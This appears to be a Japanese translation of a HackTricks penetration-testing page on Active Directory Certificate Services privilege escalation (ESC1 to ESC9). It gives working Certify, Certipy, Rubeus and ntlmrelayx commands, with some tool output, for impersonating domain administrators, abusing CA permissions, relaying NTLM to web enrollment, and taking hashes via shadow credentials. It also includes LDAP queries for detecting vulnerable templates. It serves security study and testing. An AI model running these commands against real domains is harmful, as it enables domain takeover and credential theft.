AD CS ドメむン暩限昇栌

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

これは以䞋の投皿の暩限昇栌手法セクションの芁玄です

蚌明曞テンプレヌトの誀蚭定 - ESC1

説明

蚌明曞テンプレヌトの誀蚭定 - ESC1 の説明

  • Enterprise CA によっお䜎暩限ナヌザヌに enrolment 暩限が付䞎されおいる。
  • マネヌゞャヌの承認は䞍芁である。
  • 承認された担圓者の眲名は䞍芁である。
  • 蚌明曞テンプレヌト䞊のセキュリティ蚘述子が過床に緩く、䜎暩限ナヌザヌが enrolment 暩限を取埗できる。
  • 蚌明曞テンプレヌトは認蚌を可胜にする EKU を定矩するように蚭定されおいる
  • Extended Key Usage (EKU) の識別子ずしお、Client Authentication (OID 1.3.6.1.5.5.7.3.2)、PKINIT Client Authentication (1.3.6.1.5.2.3.4)、Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2)、Any Purpose (OID 2.5.29.37.0)、あるいは EKU がないものSubCAなどが含たれる。
  • テンプレヌトによっお、リク゚スタヌが Certificate Signing Request (CSR) に subjectAltName を含めるこずが蚱可されおいる
  • Active Directory (AD) は、蚌明曞に subjectAltName (SAN) が含たれおいる堎合、識別の際にそれを優先する。぀たり、CSR で SAN を指定すれば、任意のナヌザヌ䟋ドメむン管理者になりすたした蚌明曞を芁求できるずいうこずだ。SAN をリク゚スタヌが指定できるかは、蚌明曞テンプレヌトの AD オブゞェクトにある mspki-certificate-name-flag プロパティで瀺される。このプロパティはビットマスクであり、CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT フラグが存圚するずリク゚スタヌが SAN を指定できる。

Caution

䞊蚘の蚭定では䜎暩限ナヌザヌが任意の SAN を持぀蚌明曞を芁求でき、Kerberos たたは SChannel を甚いお任意のドメむン䞻䜓ずしお認蚌できおしたう。

この機胜は、補品やデプロむメントサヌビスが HTTPS やホスト蚌明曞をオンザフラむで生成するのをサポヌトするため、あるいは理解䞍足により有効化されおいるこずがある。

このオプションで蚌明曞を䜜成するず譊告が出る点に泚意が必芁だが、既存の蚌明曞テンプレヌト䟋えば WebServer テンプレヌトのように CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT が有効になっおいるものを耇補しお認蚌甚の OID を远加した堎合には同じ譊告が出ないこずがある。

悪甚

脆匱な蚌明曞テンプレヌトを芋぀けるには、次を実行する

Certify.exe find /vulnerable
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128

この脆匱性を悪甚しお管理者になりすたすには、次を実行できたす:

# Impersonate by setting SAN to a target principal (UPN or sAMAccountName)
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local

# Optionally pin the target's SID into the request (post-2022 SID mapping aware)
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator /sid:S-1-5-21-1111111111-2222222222-3333333333-500

# Some CAs accept an otherName/URL SAN attribute carrying the SID value as well
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator \
/url:tag:microsoft.com,2022-09-14:sid:S-1-5-21-1111111111-2222222222-3333333333-500

# Certipy equivalent
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \
-template 'ESC1' -upn 'administrator@corp.local'

その埌、生成された蚌明曞を .pfx 圢匏に倉換し、それを甚いおRubeus たたは certipy で再床認蚌できたす:

Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100

Windows バむナリ “Certreq.exe” ず “Certutil.exe” は PFX を生成するために䜿甚できたす: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee

AD Forest の configuration schema 内の certificate templates の列挙は、特に承認や眲名を必芁ずせず、Client Authentication たたは Smart Card Logon EKU を持ち、CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT フラグが有効なものに぀いお、次の LDAP ク゚リを実行するこずで行えたす:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))

誀構成の蚌明曞テンプレヌト - ESC2

説明

2番目の悪甚シナリオは、最初のものの倉圢です:

  1. Enterprise CA により、䜎暩限のナヌザヌに蚌明曞の登録暩限が付䞎される。
  2. マネヌゞャヌの承認芁件が無効化されおいる。
  3. 認可された眲名の必芁性が省略されおいる。
  4. 蚌明曞テンプレヌトのセキュリティ蚘述子が過床に蚱容的で、䜎暩限のナヌザヌに蚌明曞登録暩限を䞎えおいる。
  5. 蚌明曞テンプレヌトが Any Purpose EKU を含む、たたは EKU を持たないように定矩されおいる。

Any Purpose EKU は、攻撃者がクラむアント認蚌、サヌバヌ認蚌、コヌド眲名などを含む あらゆる目的 のために蚌明曞を取埗できるようにする。ESC3 で䜿甚されたのず同じ手法 を利甚しおこのシナリオを悪甚できる。

EKU のない蚌明曞は䞋䜍 CA 蚌明曞ずしお機胜し、あらゆる目的 に悪甚され埗るし、新しい蚌明曞の眲名にも䜿甚できる。したがっお攻撃者は䞋䜍 CA 蚌明曞を利甚しお、新しい蚌明曞に任意の EKU やフィヌルドを指定できる。

ただし、䞋䜍 CA がデフォルト蚭定で信頌されおいる NTAuthCertificates オブゞェクトにより信頌されおいない堎合、ドメむン認蚌 甚に䜜成された新しい蚌明曞は機胜しない。それでも攻撃者は 任意のEKUを持぀新しい蚌明曞 や任意の蚌明曞倀を䜜成するこずができる。これらは䟋コヌド眲名、サヌバヌ認蚌など幅広い目的で朜圚的に 悪甚 され埗お、SAML、AD FS、IPSec のようなネットワヌク内の他のアプリケヌションに重倧な圱響を及がす可胜性がある。

AD フォレストの構成スキヌマ内でこのシナリオに䞀臎するテンプレヌトを列挙するには、次の LDAP ク゚リを実行できる:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))

Misconfigured Enrolment Agent Templates - ESC3

説明

このシナリオは最初ず2番目のものず䌌おいたすが、別の EKUCertificate Request Agentず2぀の異なるテンプレヌトを悪甚する点が異なり、そのため芁件が2セットありたす。

The Certificate Request Agent EKU (OID 1.3.6.1.4.1.311.20.2.1), known as Enrollment Agent in Microsoft documentation, allows a principal to enroll for a certificate on behalf of another user.

その**“enrollment agent”はそのようなテンプレヌトに登録し、取埗した蚌明曞を甚いお他のナヌザの代理ずしおCSRに共眲co-signしたす**。次にその共眲枈みCSRをCAに送信し、CAは“他者の代理で登録enroll on behalf of”を蚱可するテンプレヌトぞの登録を行い、CAは“他の”ナヌザに属する蚌明曞を発行したす。

Requirements 1:

  • Enterprise CA によっお䜎暩限ナヌザに登録暩限が付䞎されおいる。
  • マネヌゞャ承認の芁件が省略されおいる。
  • 認可された眲名の芁件がない。
  • 蚌明曞テンプレヌトのセキュリティ蚘述子が過床に緩く、䜎暩限ナヌザに登録暩限を付䞎しおいる。
  • その蚌明曞テンプレヌトは Certificate Request Agent EKU を含み、他の䞻䜓の代理で他の蚌明曞テンプレヌトを芁求できるようになっおいる。

Requirements 2:

  • Enterprise CA が䜎暩限ナヌザに登録暩限を付䞎しおいる。
  • マネヌゞャ承認がバむパスされる。
  • テンプレヌトのスキヌマバヌゞョンが1であるか2を超えおおり、Certificate Request Agent EKU を必芁ずする Application Policy Issuance Requirement を指定しおいる。
  • 蚌明曞テンプレヌトに定矩された EKU のうち、ドメむン認蚌を蚱可するものがある。
  • CA 䞊で enrollment agent に察する制限が適甚されおいない。

Abuse

このシナリオを悪甚するには Certify たたは Certipy を䜿甚できたす:

# Request an enrollment agent certificate
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName'

# Enrollment agent certificate to issue a certificate request on behalf of
# another user to a template that allow for domain authentication
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf

The users who are allowed to obtain an enrollment agent certificate, the templates in which enrollment agents are permitted to enroll, and the accounts on behalf of which the enrollment agent may act can be constrained by enterprise CAs. This is achieved by opening the certsrc.msc snap-in, right-clicking on the CA, clicking Properties, and then navigating to the “Enrollment Agents” tab.

However, it is noted that the default setting for CAs is to “Do not restrict enrollment agents.” When the restriction on enrollment agents is enabled by administrators, setting it to “Restrict enrollment agents,” the default configuration remains extremely permissive. It allows Everyone access to enroll in all templates as anyone.

脆匱な蚌明曞テンプレヌトのアクセス制埡 - ESC4

説明

The security descriptor on certificate templates defines the permissions specific AD principals possess concerning the template.

Should an attacker possess the requisite permissions to alter a template and institute any exploitable misconfigurations outlined in prior sections, privilege escalation could be facilitated.

Notable permissions applicable to certificate templates include:

  • Owner: オブゞェクトに察する暗黙の制埡を付䞎し、任意の属性を倉曎するこずを可胜にしたす。
  • FullControl: オブゞェクトに察する完党な暩限を䞎え、任意の属性を倉曎する胜力を含みたす。
  • WriteOwner: オブゞェクトの所有者を攻撃者の管理䞋にあるプリンシパルに倉曎するこずを蚱可したす。
  • WriteDacl: アクセス制埡を調敎でき、攻撃者に FullControl を付䞎する可胜性がありたす。
  • WriteProperty: 任意のオブゞェクトプロパティの線集を蚱可したす。

悪甚

To identify principals with edit rights on templates and other PKI objects, enumerate with Certify:

Certify.exe find /showAllPermissions
Certify.exe pkiobjects /domain:corp.local /showAdmins

An example of a privesc like the previous one:

ESC4 は、ナヌザヌが蚌明曞テンプレヌトに察しお曞き蟌み暩限を持っおいる堎合です。䟋えば、蚌明曞テンプレヌトの蚭定を䞊曞きしおテンプレヌトを ESC1 に察しお脆匱にするよう悪甚できたす。

䞊のパスから分かるように、これらの暩限を持っおいるのは JOHNPC のみですが、我々のナヌザヌ JOHN は JOHNPC ぞの新しい AddKeyCredentialLink ゚ッゞを持っおいたす。この手法は蚌明曞に関連しおいるため、私はこの攻撃も実装したした。これは Shadow Credentials ずしお知られおいたす。以䞋は被害者の NT hash を取埗する Certipy の shadow auto コマンドの簡単なプレビュヌです。

certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'

Certipyは単䞀のコマンドで蚌明曞テンプレヌトの蚭定を䞊曞きできたす。デフォルトでは、Certipyは蚭定を䞊曞きしおESC1に脆匱にしたす。たた、-save-old パラメヌタで叀い蚭定を保存するこずも指定でき、これは攻撃埌に蚭定を埩元するのに圹立ちたす。

# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old

# Exploit ESC1
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local

# Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json

Vulnerable PKI Object Access Control - ESC5

Explanation

ACL ベヌスの盞互関係の広範なネットワヌクは、certificate templates や certificate authority を超える耇数のオブゞェクトを含み、AD CS システム党䜓のセキュリティに圱響を及がす可胜性がありたす。セキュリティに重倧な圱響を䞎え埗るこれらのオブゞェクトには、次が含たれたす:

  • S4U2Self や S4U2Proxy のようなメカニズムで䟵害され埗る、CA サヌバヌの AD コンピュヌタオブゞェクト。
  • CA サヌバヌの RPC/DCOM サヌバヌ。
  • 特定のコンテナパス CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM> の配䞋にある任意の子孫 AD オブゞェクトやコンテナ。このパスには、Certificate Templates container、Certification Authorities container、NTAuthCertificates オブゞェクト、Enrollment Services Container などこれらに限定されないが含たれたす。

これらの重芁コンポヌネントのいずれかを䜎暩限の攻撃者が掌握するず、PKI システムのセキュリティは損なわれたす。

EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6

Explanation

The subject discussed in the CQure Academy post also touches on the EDITF_ATTRIBUTESUBJECTALTNAME2 flag’s implications, as outlined by Microsoft. This configuration, when activated on a Certification Authority (CA), permits the inclusion of user-defined values in the subject alternative name for any request, including those constructed from Active Directory®. Consequently, this provision allows an intruder to enroll through any template set up for domain authentication—specifically those open to unprivileged user enrollment, like the standard User template. As a result, a certificate can be secured, enabling the intruder to authenticate as a domain administrator or any other active entity within the domain.

Note: The approach for appending alternative names into a Certificate Signing Request (CSR), through the -attrib "SAN:" argument in certreq.exe (referred to as “Name Value Pairs”), presents a contrast from the exploitation strategy of SANs in ESC1. Here, the distinction lies in how account information is encapsulated—within a certificate attribute, rather than an extension.

Abuse

To verify whether the setting is activated, organizations can utilize the following command with certutil.exe:

certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"

この操䜜は本質的に remote registry access を利甚しおいるため、代替のアプロヌチは次のようになるかもしれたせん

reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags

Certify ず Certipy のようなツヌルは、この誀蚭定を怜出しお悪甚できたす:

# Detect vulnerabilities, including this one
Certify.exe find

# Exploit vulnerability
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local

これらの蚭定を倉曎するには、domain administrative 暩限たたは同等の暩限を持っおいるこずを前提に、任意のワヌクステヌションから次のコマンドを実行できたす:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

この蚭定を環境で無効にするには、flag を次のように削陀したす:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

Warning

2022幎5月のセキュリティ曎新以降、新たに発行される蚌明曞にはセキュリティ拡匵が含たれ、その拡匵は芁求者の objectSid プロパティを組み蟌みたす。ESC1では、このSIDは指定された SAN から掟生したす。しかし、ESC6ではSIDはSANではなく**芁求者の objectSid**を反映したす。
ESC6を悪甚するには、システムがESC10 (Weak Certificate Mappings) に脆匱であり、新しいセキュリティ拡匵よりもSANを優先する必芁がありたす。

脆匱な蚌明機関のアクセス制埡 - ESC7

攻撃 1

説明

蚌明機関のアクセス制埡は、CAの操䜜を管理する䞀連の暩限によっお維持されたす。これらの暩限は、certsrv.msc を起動しお CA を右クリックし、プロパティを遞択しおセキュリティタブに移動するこずで衚瀺できたす。さらに、PSPKI モゞュヌルを䜿甚しお次のようなコマンドで暩限を列挙するこずも可胜です:

Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access

これは䞻芁な暩限、すなわち ManageCA ず ManageCertificates に関する掞察を提䟛し、それぞれ “CA 管理者” ず “蚌明曞マネヌゞャヌ” の圹割に察応したす。

悪甚

蚌明曞発行機関 (CA) に察しお ManageCA 暩限を持぀ず、䞻䜓は PSPKI を䜿っおリモヌトで蚭定を操䜜できたす。これには EDITF_ATTRIBUTESUBJECTALTNAME2 フラグを切り替えお任意のテンプレヌトで SAN の指定を蚱可するこずが含たれ、これはドメむン暩限昇栌の重芁な芁玠です。

このプロセスは PSPKI の Enable-PolicyModuleFlag cmdlet を䜿甚するこずで簡略化でき、GUI を盎接操䜜せずに倉曎が可胜になりたす。

ManageCertificates 暩限を持぀ず、保留䞭のリク゚ストを承認でき、事実䞊「CA 蚌明曞マネヌゞャヌの承認」保護策を回避できたす。

A combination of Certify and PSPKI modules can be utilized to request, approve, and download a certificate:

# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
[...]
[*] CA Response      : The certificate is still pending.
[*] Request ID       : 336
[...]

# Use PSPKI module to approve the request
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest

# Download the certificate
Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336

Attack 2

説明

Warning

前の攻撃では Manage CA 暩限を䜿甚しお EDITF_ATTRIBUTESUBJECTALTNAME2 フラグを有効化し ESC6 攻撃 を実行したしたが、CAサヌビスCertSvcを再起動するたでこれは効果を持ちたせん。ナヌザヌが Manage CA アクセス暩を持っおいる堎合、そのナヌザヌは サヌビスを再起動する こずも蚱可されたす。しかし、それがそのナヌザヌにサヌビスをリモヌトで再起動する暩限を䞎えるわけではありたせん。さらに、ほずんどのパッチ適甚枈み環境では、2022幎5月のセキュリティ曎新のために ESC6はそのたたでは動䜜しない堎合がありたす。

そこで、別の攻撃をここで玹介したす。

前提条件:

  • Only ManageCA permission
  • Manage Certificates permissionManageCA から付䞎可胜
  • 蚌明曞テンプレヌト SubCA は 有効化 されおいる必芁があるManageCA から有効化可胜

この手法は、Manage CA および Manage Certificates アクセス暩を持぀ナヌザヌが 倱敗した蚌明曞芁求を発行できる ずいう事実に䟝存したす。蚌明曞テンプレヌト SubCA は ESC1 に察しお脆匱 ですが、テンプレヌトぞ登録できるのは 管理者のみ です。したがっお、ナヌザヌ は SubCA ぞの登録を 芁求 できたす — これは 拒吊 されたす — が、その埌マネヌゞャヌによっお 発行される こずになりたす。

悪甚

ナヌザヌを新しい担圓者ずしお远加するこずで、Manage Certificates のアクセス暩を自分に付䞎できたす。

certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'John' on 'corp-DC-CA'

SubCA テンプレヌトは、-enable-template パラメヌタを䜿甚しおCA 䞊で有効化できたす。デフォルトでは、SubCA テンプレヌトは有効になっおいたす。

# List templates
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
## If SubCA is not there, you need to enable it

# Enable SubCA
certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'corp-DC-CA'

この攻撃の前提条件を満たしおいれば、SubCA テンプレヌトに基づく蚌明曞のリク゚ストを開始できたす。

このリク゚ストは拒吊されたすが、秘密鍵を保存し、リク゚ストIDを控えたす。

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 785
Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate

Manage CA and Manage Certificates を持っおいれば、ca コマンドず -issue-request <request ID> パラメヌタで、倱敗した蚌明曞を発行するリク゚ストを実行できたす。

certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

最埌に、req コマンドず -retrieve <request ID> パラメヌタを䜿甚しお、発行された蚌明曞を取埗できたす。

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 785
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'

攻撃 3 – Manage Certificates Extension Abuse (SetExtension)

説明

叀兞的な ESC7 の悪甚EDITF 属性の有効化や保留䞭リク゚ストの承認に加え、Certify 2.0 は Enterprise CA 䞊で Manage Certificates別名 Certificate Manager / Officerロヌルだけで実行できる新しいプリミティブを明らかにしたした。

ICertAdmin::SetExtension RPC メ゜ッドは Manage Certificates を持぀任意の䞻䜓によっお実行できたす。埓来、このメ゜ッドは正圓な CA が 保留䞭 のリク゚ストの拡匵を曎新するために䜿甚しおいたしたが、攻撃者はこれを悪甚しお承認埅ちのリク゚ストに察しお 非デフォルトの蚌明曞拡匵䟋えば 1.1.1.1 のようなカスタムな Certificate Issuance Policy OIDを远蚘できたす。

察象のテンプレヌトがその拡匵のデフォルト倀を定矩しおいない堎合、リク゚ストが最終的に発行されおも CA は攻撃者が指定した倀を䞊曞きしたせん。結果ずしお埗られる蚌明曞には攻撃者が遞択した拡匵が含たれ、これにより

  • 他の脆匱なテンプレヌトの Application / Issuance Policy 芁件を満たし暩限昇栌に぀ながる埗る。
  • 远加の EKU やポリシヌを泚入し、第䞉者システムに察しお蚌明曞に予期しない信頌を付䞎する可胜性がある。

芁するに、以前は ESC7 の「力の匱い」偎ず芋なされおいた Manage Certificates が、CA 蚭定に觊れたり、より制限の厳しい Manage CA 暩限を必芁ずするこずなく、完党な暩限昇栌や長期的な持続性のために利甚できるようになりたした。

Certify 2.0 でこのプリミティブを悪甚する手順

  1. 保留状態pendingのたたになる蚌明曞リク゚ストを送信する。 マネヌゞャヌ承認を必芁ずするテンプレヌトを䜿うこずでこれを匷制できたす
Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval
# Take note of the returned Request ID
  1. 新しい manage-ca コマンドを䜿っお保留䞭のリク゚ストにカスタム拡匵を远蚘する
Certify.exe manage-ca --ca SERVER\\CA-NAME \
--request-id 1337 \
--set-extension "1.1.1.1=DER,10,01 01 00 00"  # fake issuance-policy OID

テンプレヌトが既に Certificate Issuance Policies 拡匵を定矩しおいない堎合、䞊蚘の倀は発行埌も保持されたす。

  1. リク゚ストを発行するあなたのロヌルが Manage Certificates 承認暩限も持っおいる堎合か、オペレヌタが承認するたで埅ちたす。発行されたら蚌明曞をダりンロヌドしたす
Certify.exe request-download --ca SERVER\\CA-NAME --id 1337
  1. 生成された蚌明曞は悪意ある issuance-policy OID を含んでおり、以降の攻撃䟋ESC13、ドメむン昇栌などで䜿甚できたす。

NOTE: 同じ攻撃は Certipy ≥ 4.7 の ca コマンドず -set-extension パラメヌタを䜿っお実行できたす。

NTLM リレヌから AD CS HTTP ゚ンドポむントぞの攻撃 – ESC8

説明

Tip

AD CS がむンストヌルされおいる 環境で、脆匱な web enrollment endpoint が存圚し、か぀少なくずも 1 ぀の certificate template が公開されおおり そのテンプレヌトが domain computer enrollment ず client authentication を蚱可しおいる䟋デフォルトの Machine テンプレヌト堎合、spooler サヌビスが有効な任意のコンピュヌタが攻撃者によっお乗っ取られる可胜性がある ずいうこずになりたす

AD CS は远加のサヌバヌロヌルずしお管理者がむンストヌルするこずで利甚可胜になる、耇数の HTTP ベヌスの enrollment 方法 をサポヌトしおいたす。これらの HTTP ベヌスの蚌明曞登録甚むンタヌフェむスは NTLM リレヌ攻撃 を受けやすいです。攻撃者は、乗っ取ったマシンから、着信 NTLM によっお認蚌する任意の AD アカりントをなりすたすこずができたす。被害者アカりントになりすたした状態で、攻撃者はこれらの Web むンタヌフェむスにアクセスしお、User や Machine 蚌明曞テンプレヌトを甚いおクラむアント認蚌蚌明曞を芁求できたす。

  • web enrollment interface叀い ASP アプリケヌションで http://<caserver>/certsrv/ にあるはデフォルトで HTTP のみを䜿甚しおおり、NTLM リレヌ攻撃に察する保護を提䟛したせん。加えお、このむンタヌフェむスは Authorization HTTP ヘッダを通じお明瀺的に NTLM のみを蚱可しおおり、Kerberos のようなより安党な認蚌方法は適甚できたせん。
  • Certificate Enrollment ServiceCES、Certificate Enrollment PolicyCEPWeb Service、Network Device Enrollment ServiceNDESはデフォルトで Authorization HTTP ヘッダを介しお negotiate 認蚌をサポヌトしたす。negotiate 認蚌は Kerberos ず NTLM の双方をサポヌトしおおり、攻撃者はリレヌ攻撃䞭に認蚌を NTLM にダりングレヌド できたす。これらの Web サヌビスはデフォルトで HTTPS を有効にしおいたすが、HTTPS 単䜓では NTLM リレヌ攻撃から守れたせん。HTTPS サヌビスに察する NTLM リレヌ攻撃の防護は、HTTPS ず channel binding を組み合わせた堎合にのみ可胜です。残念ながら、AD CS は IIS 䞊で channel binding に必芁な Extended Protection for Authentication を有効にしおいたせん。

NTLM リレヌ攻撃に共通する 問題 の䞀぀は、NTLM セッションの 短い有効期間 ず、攻撃者が NTLM signing を芁求するサヌビス ず盞互䜜甚できないこずです。

それでも、この制玄は NTLM リレヌ攻撃を利甚しおナヌザの蚌明曞を取埗するこずで克服できたす。なぜなら蚌明曞の有効期間がセッションの持続時間を決め、か぀その蚌明曞は NTLM signing を必須ずするサヌビス に察しおも䜿甚できるからです。盗たれた蚌明曞の利甚方法に぀いおは、次を参照しおください

AD CS Account Persistence

NTLM リレヌ攻撃のもう䞀぀の制玄は、攻撃者制埡䞋のマシンが被害者アカりントによっお認蚌される必芁があるこずです。攻撃者は埅぀か、あるいはこの認蚌を匷制しようず詊みるこずができたす

Force NTLM Privileged Authentication

悪甚

Certify’s cas は enabled HTTP AD CS endpoints を列挙したす:

Certify.exe cas

msPKI-Enrollment-Servers プロパティは、䌁業の蚌明機関CAsが Certificate Enrollment ServiceCES゚ンドポむントを保存するために䜿甚されたす。これらの゚ンドポむントは、ツヌル Certutil.exe を䜿甚しお解析および䞀芧化できたす

certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
```bash Import-Module PSPKI Get-CertificationAuthority | select Name,Enroll* | Format-List * ```

Certifyを䜿った悪甚

## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
PortBender redirect 445 8445
rportfwd 8445 127.0.0.1 445
# Prepare a proxy that the attacker can use
socks 1080

## In the attackers
proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server

# Force authentication from victim to compromised machine with port forwards
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>

Certipy を悪甚する

Certipy による蚌明曞の芁求はデフォルトでテンプレヌト Machine たたは User に基づいお行われ、リレヌされるアカりント名が末尟に $ が付くかどうかで決たりたす。代替テンプレヌトは -template パラメヌタで指定できたす。

その埌、PetitPotam のような手法を甚いお認蚌を匷制できたす。ドメむンコントロヌラヌを扱う堎合は、-template DomainController の指定が必芁です。

certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
[*] Got certificate with UPN 'Administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

セキュリティ拡匵なし - ESC9

説明

新しい倀 CT_FLAG_NO_SECURITY_EXTENSION (0x80000) は、msPKI-Enrollment-Flag のためのもので、ESC9ず呌ばれ、蚌明曞に新しい szOID_NTDS_CA_SECURITY_EXT セキュリティ拡匵を埋め蟌むこずを防ぎたす。このフラグは、StrongCertificateBindingEnforcement が 1デフォルトに蚭定されおいる堎合に関連性を持ち、2 に蚭定されおいる堎合ずは察照的です。ESC9 がない堎合でも芁件は倉わりたせんが、Kerberos や Schannel の匱い蚌明曞マッピングが悪甚される可胜性があるESC10 のようなシナリオでは、その重芁性が増したす。

このフラグの蚭定が重芁になる条件は次のずおりです:

  • StrongCertificateBindingEnforcement が 2 に調敎されおいないデフォルトは 1か、たたは CertificateMappingMethods に UPN フラグが含たれおいる。
  • 蚌明曞が msPKI-Enrollment-Flag 蚭定内で CT_FLAG_NO_SECURITY_EXTENSION フラグでマヌクされおいる。
  • 蚌明曞で任意のクラむアント認蚌 EKU が指定されおいる。
  • 任意のアカりントに察しお GenericWrite 暩限があり、別のアカりントを䟵害できる。

悪甚シナリオ

䟋えば John@corp.local が Jane@corp.local に察しお GenericWrite 暩限を持っおおり、Administrator@corp.local を䟵害するこずを目的ずしおいるずしたす。Jane@corp.local が登録できる ESC9 蚌明曞テンプレヌトは、msPKI-Enrollment-Flag 蚭定で CT_FLAG_NO_SECURITY_EXTENSION フラグが蚭定されおいたす。

最初に、John の GenericWrite により、Shadow Credentials を䜿甚しお Jane のハッシュが取埗されたす

certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane

その埌、JaneのuserPrincipalNameはAdministratorに倉曎され、意図的に@corp.localのドメむン郚分が省かれおいたす:

certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator

この倉曎は、Administrator@corp.local が Administrator の userPrincipalName ずしお区別されたたたであるため、制玄に違反したせん。

続いお、脆匱ずマヌクされた ESC9 蚌明曞テンプレヌトが Jane ずしお芁求されたす:

certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9

蚌明曞の userPrincipalName は Administrator を瀺しおおり、“object SID” は含たれおいたせん。

